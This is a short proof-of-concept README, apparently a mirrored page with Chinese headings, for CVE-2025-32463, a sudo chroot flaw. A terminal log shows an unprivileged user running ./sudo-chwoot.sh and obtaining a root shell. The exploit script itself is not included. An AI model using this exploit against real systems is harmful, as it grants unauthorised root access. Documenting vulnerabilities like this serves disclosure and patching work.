CVE-2025-32463 PoC — Sudo 安全漏洞

介绍

Reference: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

Executing the PoC on Ubuntu 24.04.2 LTS server with Sudo v1.9.15p5, using an unprivileged user with no Sudo rules defined, results in a root shell outside of the chrooted environment.

lowpriv@prod:~/CVE-2025-32463$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~/CVE-2025-32463$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)

文件快照

备注